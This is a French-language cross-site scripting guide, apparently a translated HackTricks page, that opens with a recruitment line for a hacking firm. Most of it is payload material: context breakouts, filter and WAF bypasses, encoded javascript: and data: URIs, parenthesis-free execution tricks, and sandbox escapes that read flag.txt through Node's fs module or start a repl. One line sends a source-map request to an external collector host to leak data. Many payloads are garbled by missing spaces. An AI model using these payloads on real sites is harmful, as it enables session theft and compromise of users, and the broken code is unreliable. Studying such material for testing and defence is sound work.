Si vous êtes intéressé par une carrière en piratage et que vous souhaitez pirater l'impossible - nous recrutons ! (maîtrise du polonais à l'écrit et à l'oral requise).
Méthodologie
Vérifiez si une valeur que vous contrôlez (paramètres, chemin, en-têtes?, cookies?) est réfléchie dans le HTML ou utilisée par du code JS.
Trouvez le contexte où elle est réfléchie/utilisée.
Si réfléchie
Vérifiez quels symboles vous pouvez utiliser et en fonction de cela, préparez la charge utile :
Dans du HTML brut :
Pouvez-vous créer de nouvelles balises HTML ?
Pouvez-vous utiliser des événements ou des attributs prenant en charge le protocole javascript: ?
Pouvez-vous contourner les protections ?
Le contenu HTML est-il interprété par un moteur JS côté client (AngularJS, VueJS, Mavo...), vous pourriez exploiter une Injection de Modèle Côté Client.
Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
L'attribut où vous êtes piégé prend-il en charge l'exécution JS ?
Pouvez-vous contourner les protections ?
À l'intérieur du code JavaScript :
Pouvez-vous échapper à la balise <script> ?
Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
Vos entrées sont-elles dans des littéraux de modèle `` ?
Pouvez-vous contourner les protections ?
Fonction JavaScript en train d'être exécutée
Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : ?callback=alert(1)
Si utilisée :
Vous pourriez exploiter un XSS DOM, faites attention à la façon dont votre entrée est contrôlée et si votre entrée contrôlée est utilisée par une faille.
Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de connaître :
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une valeur contrôlée par vous qui est réfléchie dans la page web.
Réfléchie de manière intermédiaire : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchie dans la page web, vous pourriez exploiter un XSS Réfléchi.
Stockée et réfléchie : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie à chaque fois que vous accédez à une page, vous pourriez exploiter un XSS Stocké.
Accédée via JS : Si vous constatez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un XSS DOM.
Contextes
Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoir est où votre entrée est réfléchie. En fonction du contexte, vous pourrez exécuter du code JS arbitraire de différentes manières.
HTML brut
Si votre entrée est réfléchie sur la page HTML brute, vous devrez abuser de certaines balises HTML pour exécuter du code JS : <img , <iframe , <svg , <script ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.
Gardez également à l'esprit Injection de Modèle Côté Client.
À l'intérieur de l'attribut des balises HTML
Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'une balise, vous pourriez essayer :
De sortir de l'attribut et de la balise (alors vous serez dans le HTML brut) et créer une nouvelle balise HTML à abuser : "><img [...]
Si vous pouvez sortir de l'attribut mais pas de la balise (> est encodé ou supprimé), en fonction de la balise, vous pourriez créer un événement qui exécute du code JS : " autofocus onfocus=alert(1) x="
Si vous ne pouvez pas sortir de l'attribut (" est encodé ou supprimé), alors en fonction de quel attribut votre valeur est réfléchie dans si vous contrôlez toute la valeur ou juste une partie vous pourrez l'exploiter. Par exemple, si vous contrôlez un événement comme onclick=, vous pourrez le faire exécuter un code arbitraire lorsqu'il est cliqué. Un autre exemple intéressant est l'attribut href, où vous pouvez utiliser le protocole javascript: pour exécuter un code arbitraire : href="javascript:alert(1)"
Si votre entrée est réfléchie à l'intérieur de "balises non exploitables" vous pourriez essayer le truc de accesskey pour exploiter la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : " accesskey="x" onclick="alert(1)" x="
Exemple étrange d'Angular exécutant un XSS si vous contrôlez un nom de classe :
Dans ce cas, votre entrée est réfléchie entre les balises <script> [...] </script> d'une page HTML, à l'intérieur d'un fichier .js ou à l'intérieur d'un attribut utilisant le protocole javascript: :
Si elle est réfléchie entre les balises <script> [...] </script>, même si votre entrée est à l'intérieur de guillemets, vous pouvez essayer d'injecter </script> et vous échapper de ce contexte. Cela fonctionne car le navigateur analysera d'abord les balises HTML puis le contenu, il ne remarquera donc pas que votre balise </script> injectée est à l'intérieur du code HTML.
Si elle est réfléchie à l'intérieur d'une chaîne JS et que le dernier astuce ne fonctionne pas, vous devrez sortir de la chaîne, exécuter votre code et reconstruire le code JS (s'il y a une erreur, elle ne sera pas exécutée) :
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Si elle est réfléchie à l'intérieur de littéraux de modèle, vous pouvez intégrer des expressions JS en utilisant la syntaxe ${ ... } : var greetings = `Hello, ${alert(1)}`
L'encodage Unicode fonctionne pour écrire du code JavaScript valide :
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Levée de Javascript
La levée de Javascript fait référence à la possibilité de déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir exploiter des scénarios où une XSS utilise des variables ou des fonctions non déclarées.Consultez la page suivante pour plus d'informations:
Plusieurs pages web ont des points d'extrémité qui acceptent en tant que paramètre le nom de la fonction à exécuter. Un exemple courant à voir est quelque chose comme : ?callback=callbackFunc.
Une bonne façon de savoir si quelque chose donné directement par l'utilisateur tente d'être exécuté est de modifier la valeur du paramètre (par exemple en la changeant en 'Vulnerable') et de chercher dans la console des erreurs comme :
Dans le cas où c'est vulnérable, vous pourriez être en mesure de déclencher une alerte en envoyant simplement la valeur : ?callback=alert(1). Cependant, il est très courant que ces points d'extrémité valident le contenu pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement ([\w\._]).
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour accéder à n'importe quel élément dans le DOM:
Vous pouvez également essayer de déclencher des fonctions Javascript directement : obj.sales.delOrders.
Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, d'autres pages dans la même origine auront un DOM plus intéressant pour effectuer davantage d'actions.
Par conséquent, afin d'exploiter cette vulnérabilité dans un DOM différent, l'exploitation de la Méthode d'Exécution de la Même Origine (SOME) a été développée :
Il y a du code JS qui utilise de manière non sécurisée des données contrôlées par un attaquant comme location.href. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.
Ce type de XSS peut être trouvé partout. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de toutcontexte. Ce type d'exécution de JavaScript arbitraire peut même être abusé pour obtenir une RCE, lire des fichiers arbitraires sur les clients et les serveurs, et plus encore.
Quelques exemples :
from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21
Injection dans du HTML brut
Lorsque votre entrée est réfléchie à l'intérieur de la page HTML ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la première chose à faire est de vérifier si vous pouvez abuser de < pour créer de nouvelles balises : Essayez simplement de réfléchir ce caractère et vérifiez s'il est encodé en HTML ou supprimé ou s'il est réfléchi sans modifications. Seulement dans le dernier cas vous pourrez exploiter ce cas.
Pour ces cas, gardez également à l'esprit l'Injection de Modèles Côté Client.Remarque : Un commentaire HTML peut être fermé en utilisant**** --> ou ****--!>
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
Mais, si la liste noire/blanche des balises/attributs est utilisée, vous devrez forcer de manière brutale quelles balises vous pouvez créer.
Une fois que vous avez repéré quelles balises sont autorisées, vous devrez forcer de manière brutale les attributs/événements à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
Forçage brutal des balises/événements
Allez sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet et cliquez sur Copier les balises dans le presse-papiers. Ensuite, envoyez-les toutes en utilisant Burp Intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez forcer de manière brutale tous les événements en utilisant les balises valides (sur la même page web, cliquez sur Copier les événements dans le presse-papiers et suivez la même procédure qu'auparavant).
Balises personnalisées
Si vous n'avez trouvé aucune balise HTML valide, vous pouvez essayer de créer une balise personnalisée et exécuter du code JS avec l'attribut onfocus. Dans la requête XSS, vous devez terminer l'URL avec # pour que la page se concentre sur cet objet et exécute le code:
Si une sorte de liste noire est utilisée, vous pourriez essayer de la contourner avec quelques astuces ridicules :
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
Le dernier consiste à utiliser 2 caractères unicode qui se développent en 5 : telsr
Plus de ces caractères peuvent être trouvés ici.
Pour vérifier dans quels caractères sont décomposés, vérifiez ici.
Clic XSS - Clickjacking
Si pour exploiter la vulnérabilité vous avez besoin que l'utilisateur clique sur un lien ou un formulaire avec des données préremplies, vous pourriez essayer de abuser du Clickjacking (si la page est vulnérable).
Impossible - Balisage suspendu
Si vous pensez simplement que il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez vérifier Balisage suspendu car vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
Injection à l'intérieur de la balise HTML
À l'intérieur de la balise/échappement de la valeur de l'attribut
Si vous êtes à l'intérieur d'une balise HTML, la première chose que vous pourriez essayer est de échapper de la balise et d'utiliser certaines des techniques mentionnées dans la section précédente pour exécuter du code JS.
Si vous ne pouvez pas échapper de la balise, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dans l'attribut
Même si vous ne pouvez pas vous échapper de l'attribut (" est encodé ou supprimé), en fonction de quel attribut votre valeur est reflétée dans si vous contrôlez toute la valeur ou juste une partie vous pourrez en abuser. Par exemple, si vous contrôlez un événement comme onclick=, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.
Un autre exemple intéressant est l'attribut href, où vous pouvez utiliser le protocole javascript: pour exécuter du code arbitraire : href="javascript:alert(1)"
Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage d'URL
Les caractères encodés en HTML à l'intérieur de la valeur des attributs des balises HTML sont décodés à l'exécution. Par conséquent, quelque chose comme ce qui suit sera valide (le payload est en gras) : <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Retour </a>
Notez que tout type d'encodage HTML est valide:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
Notez que l'encodage d'URL fonctionnera également :
Contourner l'événement interne en utilisant l'encodage Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocoles spéciaux dans l'attribut
Vous pouvez utiliser les protocoles javascript: ou data: à certains endroits pour exécuter du code JS arbitraire. Certains nécessiteront une interaction de l'utilisateur et d'autres non.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Endroits où vous pouvez injecter ces protocoles
En général, le protocole javascript: peut être utilisé dans n'importe quelle balise qui accepte l'attribut href et dans la plupart des balises qui acceptent l'attribut src (mais pas <img)
Dans ce cas, le codage HTML et l'astuce de codage Unicode de la section précédente sont également valides car vous vous trouvez à l'intérieur d'un attribut.
De plus, il y a une astuce intéressante pour ces cas : Même si votre entrée à l'intérieur de javascript:... est encodée en URL, elle sera décodée avant d'être exécutée. Donc, si vous avez besoin de échapper de la chaîne en utilisant une apostrophe et que vous voyez que elle est encodée en URL, rappelez-vous que peu importe, elle sera interprétée comme une apostrophe pendant le temps d'exécution.
Notez que si vous essayez d'utiliser à la foisURLencode + HTMLencode dans n'importe quel ordre pour encoder la charge utile, cela ne fonctionnera pas, mais vous pouvez les mélanger à l'intérieur de la charge utile.
Utilisation de l'encodage hexadécimal et octal avec javascript:
Vous pouvez utiliser l'encodage hexadécimal et octal à l'intérieur de l'attribut src de iframe (au moins) pour déclarer des balises HTML à exécuter JS:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
French Translation
Capture d'onglet inversée
<atarget="_blank"rel="opener"
Si vous pouvez injecter n'importe quelle URL dans une balise <a href= arbitraire qui contient les attributs target="_blank" et rel="opener", vérifiez la page suivante pour exploiter ce comportement:
sur le Contournement des Gestionnaires d'Événements
Tout d'abord, consultez cette page (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pour des gestionnaires d'événements "on" utiles.
Dans le cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
<svg onload%09=alert(1)> //No safari<svg %09onload=alert(1)><svg %09onload%20=alert(1)><svg onload%09%20%28%2c%3b=alert(1)>//chars allowed between the onevent and the "="IExplorer: %09 %0B %0C %020 %3BChrome: %09 %20 %28 %2C %3BSafari: %2C %3BFirefox: %09 %20 %28 %2C %3BOpera: %09 %20 %2C %3BAndroid: %09 %20 %28 %2C %3B
XSS dans les "Balises non exploitables" (input caché, lien, canonique, meta)
À partir de iciil est maintenant possible d'abuser des inputs cachés avec :
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
À partir de ici : Vous pouvez exécuter une charge utile XSS à l'intérieur d'un attribut caché, à condition de pouvoir persuader la victime d'appuyer sur la combinaison de touches. Sur Firefox Windows/Linux, la combinaison de touches est ALT+SHIFT+X et sur OS X, c'est CTRL+ALT+X. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de touche d'accès. Voici le vecteur :
La charge XSS ressemblera à ceci : " accesskey="x" onclick="alert(1)" x="
Contournements de liste noire
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Retournez en arrière pour apprendre où vous pouvez utiliser :
Encodage HTML (balises HTML)
Encodage Unicode (peut être un code JS valide) : \u0061lert(1)
Si vous trouvez une XSS dans une toute petite partie du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de modifier l'espace qu'occupe cet élément pour maximiser les chances que le lien soit déclenché.
Par exemple, vous pourriez ajouter un style à l'élément comme ceci : position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Mais, si le WAF filtre l'attribut de style, vous pouvez utiliser des Gadgets de style CSS, donc si vous trouvez, par exemple
.test {display:block; color: blue; width: 100%}
et
#someid {top: 0; font-family: Tahoma;}
Maintenant, vous pouvez modifier notre lien et le mettre sous la forme
Dans ce cas, votre entrée sera réfléchie à l'intérieur du code JS d'un fichier .js ou entre les balises <script>...</script> ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole javascript:.
Échapper à la balise <script>
Si votre code est inséré dans <script> [...] var input = 'reflected data' [...] </script>, vous pouvez facilement échapper à la fermeture de la balise <script> :
Notez que dans cet exemple, nous n'avons même pas fermé l'apostrophe unique. C'est parce que l'analyse HTML est effectuée en premier par le navigateur, ce qui implique d'identifier les éléments de la page, y compris les blocs de script. L'analyse du JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
À l'intérieur du code JS
Si <> sont en train d'être nettoyés, vous pouvez toujours échapper la chaîne là où votre entrée est située et exécuter du JS arbitraire. Il est important de corriger la syntaxe JS, car s'il y a des erreurs, le code JS ne sera pas exécuté:
Pour construire des chaînes de caractères en dehors des guillemets simples et doubles, JS accepte également les backticks``. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'intégrer des expressions JS en utilisant la syntaxe ${ ... }.
Par conséquent, si vous constatez que votre entrée est réfléchie à l'intérieur d'une chaîne de caractères JS qui utilise des backticks, vous pouvez abuser de la syntaxe ${ ... } pour exécuter du code JS arbitraire :
Cela peut être abusé en utilisant :
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Exécution de code encodé
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Encodage Unicode de l'exécution JS
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Techniques de contournement des listes noires JavaScript
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Espaces blancs JavaScript
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Javascript à l'intérieur d'un commentaire
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sans parenthèses
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
Vulnérabilités DOM
Il y a du code JS qui utilise des données contrôlées de manière non sécurisée par un attaquant comme location.href. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.
En raison de l'extension de l'explication desvulnérabilités DOM, elle a été déplacée sur cette page:
Là, vous trouverez une explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter.
N'oubliez pas qu'à la fin de l'article mentionné, vous trouverez une explication sur les attaques de DOM Clobbering.
Autres contournements
Unicode normalisé
Vous pourriez vérifier si les valeurs réfléchies sont normalisées en Unicode sur le serveur (ou côté client) et abuser de cette fonctionnalité pour contourner les protections. Trouvez un exemple ici.
Contournement du drapeau PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Contournement Ruby-On-Rails
En raison des affectations massives RoR, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.
Par exemple (à partir de ce rapport), si vous envoyez la charge utile :
Si vous découvrez que vous pouvez injecter des en-têtes dans une réponse de redirection 302, vous pourriez essayer de faire exécuter du JavaScript arbitraire par le navigateur. Ce n'est pas trivial car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code d'état de la réponse HTTP est 302, donc un payload de script entre sites est inutile.
Dans ce rapport et celui-ci, vous pouvez lire comment tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter le payload XSS à l'intérieur du corps.
Protocoles connus : mailto://, //x:1/, ws://, wss://, en-tête Location vide, resource://.
Uniquement des lettres, des chiffres et des points
Si vous êtes capable d'indiquer le callback que JavaScript va exécuter limité à ces caractères. Lisez cette section de ce post pour découvrir comment abuser de ce comportement.
Types de contenu <script> valides pour XSS
(De ici) Si vous essayez de charger un script avec un type de contenu tel que application/octet-stream, Chrome affichera l'erreur suivante :
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
(De ici) Alors, quels types pourraient être indiqués pour charger un script?
<scripttype="???"></script>
La réponse est:
module (par défaut, rien à expliquer)
webbundle: Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier .wbn.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
importmap: Permet d'améliorer la syntaxe d'importation
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Ce comportement a été utilisé dans cette explication pour remapper une bibliothèque vers eval afin de l'abuser et déclencher une XSS.
speculationrules: Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne de la manière suivante :
Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire :
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Modèles de Remplacement Spéciaux
Lorsque quelque chose comme "des données {{modèle}}".replace("{{modèle}}", <entrée_utilisateur>) est utilisé. L'attaquant pourrait utiliser des remplacements de chaînes spéciaux pour tenter de contourner certaines protections : "123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))
Par exemple, dans cette explication, cela a été utilisé pour échapper une chaîne JSON à l'intérieur d'un script et exécuter du code arbitraire.
Si vous avez seulement un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes de XSJail :
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
